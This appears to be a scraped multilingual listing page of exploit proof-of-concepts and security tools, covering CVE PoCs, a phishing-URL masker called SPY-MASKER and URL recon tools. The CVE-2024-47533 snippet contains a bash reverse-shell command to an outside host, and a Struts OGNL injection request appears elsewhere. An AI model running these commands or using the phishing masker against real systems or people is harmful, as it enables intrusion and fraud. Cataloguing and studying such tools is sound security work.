cve-2025-4664

CVE-2025-4664 Questo repository contiene un PoC per sfruttare CVE-2025-4664, una vulnerabilità in cui i browser basati su Chromium perdono parametri URL sensibili attraverso richieste di precaricamento dell'intestazione Link. Risorse Per una spiegazione dettagliata di come funziona questo exploit...

SPY-MASKER

SPY-MASKER 🔥 SPY-MASKER Es ist ein einfaches Python-Skript, um eine Phishing-URL unter einer normal aussehenden URL google.com oder facebook.com zu verstecken. Es kann in Phishing-Tools integriert werden, um die URL legitim erscheinen zu lassen. ⚖️ Rechtlicher Hinweis: NUR ZU BILDUNGSZWECKEN Die...

CVE-2021-21017

CVE-2021-21017 Non un altro bug del Byte Order Mark di Adobe Reader : root@kitploit: IA32 plugin, ver. 2020.013.20074. char cdecl FUN2581894cchar baseurl,LPCSTR relurl ............................................................ ............................................................ if...

CVE-2018-11776

Verwundbarer Docker-Container für CVE-2018-11776 root@kitploit: docker pull bhdresh/cve-2018-11776:1.0 docker run -dit -p :8080:8080 bhdresh/cve-2018-11776:1.0 PoC PoC - 1 root@kitploit: Request : http://:8080/struts2-showcase-2.3.14/$333+333/help.action Result :...

CVE-2024-47533

root@kitploit: Shell inversa python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Comando semplice python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Aggiungi chiave SSH python3 CVE-2024-47533.py --url http://127.0.0.1:251...

CVE-2025-33053-WebDAV-RCE-PoC-and-C2-Concept

CVE-2025-33053 - Esecuzione di Codice Remota RCE WebDAV - PoC e Simulazione C2 ⚠️ Solo a scopo educativo Questo progetto dimostra un proof-of-concept che sfrutta WebDAV e la distribuzione di file .url per ottenere un'esecuzione di codice remota realistica. Include un eseguibile fittizio e una...

cve-2020-5260

cve-2020-5260 Un endpoint PoC HTTP per cve-2020-5260 che può essere distribuito su Heroku INFORMAZIONI SUI CREDITI Felix Wilhelm di Google Project Zero https://bugs.chromium.org/p/project-zero/issues/detail?id=2021 Attiva la vulnerabilità root@kitploit: git clone...

CVE-2022-30190

CVE 30190 Amine TITROFINE | 17 dicembre 2022 Follina CVE-2022-30190 è una vulnerabilità zero-day di Microsoft Office scoperta di recente. È una vulnerabilità ad alta gravità che gli hacker possono sfruttare per attacchi di esecuzione remota di codice RCE. Si manifesta quando MSDT viene chiamato...

CVE-2022-28117

CVE-2022-28117 Navigate CMS = 2.9.4 - Server-Side Request Forgery Autenticato Descrizione Una Server-Side Request Forgery SSRF nella classe feedparser di Navigate CMS v2.9.4 consente a un attaccante remoto di forzare l'applicazione a effettuare richieste arbitrarie tramite l'iniezione di URL...

zenbuster

Über ZenBuster ist ein multithreaded, plattformübergreifendes URL-Aufzählungstool, geschrieben in Python von Zach Griffin @0xTas. Ich habe dieses Tool geschrieben, um meine Vertrautheit mit Python zu vertiefen und mein Verständnis von Cybersecurity-Tools im Allgemeinen zu verbessern. ZenBuster ma...

CVE-2026-16600

CVE-2026-16600 affects the SmartAIPress WordPress plugin through version 1.2.0 . The vulnerability is a full-read Server-Side Request Forgery (SSRF) caused by a missing capability check on the AJAX action smartaipress_openai_upload_and_set_featured_image combined with the absence of validation on...

EUVD-2026-68043

The SmartAIPress WordPress plugin through 1.2.0 does not perform a capability check on one of its AJAX actions and does not validate a user-supplied URL before fetching it server-side, allowing users with subscriber-level access and above to make the site retrieve arbitrary internal or external...

EUVD-2026-68041

The Rest Routes WordPress plugin through 5.5.5 does not sanitize and validate a value taken from the URL of one of its public REST routes before using it in a SQL query, allowing unauthenticated attackers to perform SQL injection attacks...

CVE-2026-16061

The Rest Routes WordPress plugin (through version 5.5.5 ) contains an unauthenticated SQL injection vulnerability. A value taken from the URL of a public REST route—specifically the custom-tables/tables/{table_name} endpoint—is not sanitized or validated before being used in a SQL query. This all...

CVE-2024-27564

CVE-2024-27564 Descrizione: Una vulnerabilità in pictureproxy.php consente a un attaccante remoto di eseguire richieste arbitrarie iniettando URL nel parametro url. Questa vulnerabilità SSRF può essere sfruttata senza autenticazione, rendendola particolarmente pericolosa. Il codice vulnerabile si...

Deathnote

Deathnote Prova di concetto di CVE-2022-30190 Esiste una vulnerabilità di esecuzione di codice in modalità remota quando MSDT viene chiamato utilizzando il protocollo URL da un'applicazione chiamante come Word. Un attaccante che sfrutta con successo questa vulnerabilità può eseguire codice...

CVE-2020-8193

CVE-2020-8193...

url-status-checker

Status Checker URL Status Checker v2.1 Status Checker è uno script Python che controlla lo stato di uno o più URL/domini e li categorizza in base ai loro codici di stato HTTP. Versione 2.1.0 Funzionalità Controlla lo stato di uno o più URL/domini. Richieste HTTP asincrone per prestazioni...

gau

getallurls gau getallurls gau ruft bekannte URLs von AlienVaults Open Threat Exchange, dem Wayback Machine, Common Crawl und URLScan für jede angegebene Domain ab. Inspiriert von Tomnomnoms waybackurls. Resources Usage Installation ohmyzsh note Usage: Beispiele: root@kitploit: $ printf example.co...

Firebase-Extractor

Firebase-Extractor //Mobile OSINT// Questo strumento è scritto in Python2, il suo scopo è quello di analizzare tutti i risultati della ricerca Bing. In pratica, ogni volta che viene trovato un URL firebaseio per un'app, l'utente, invece di cercare manualmente dati sensibili attraverso i risultati...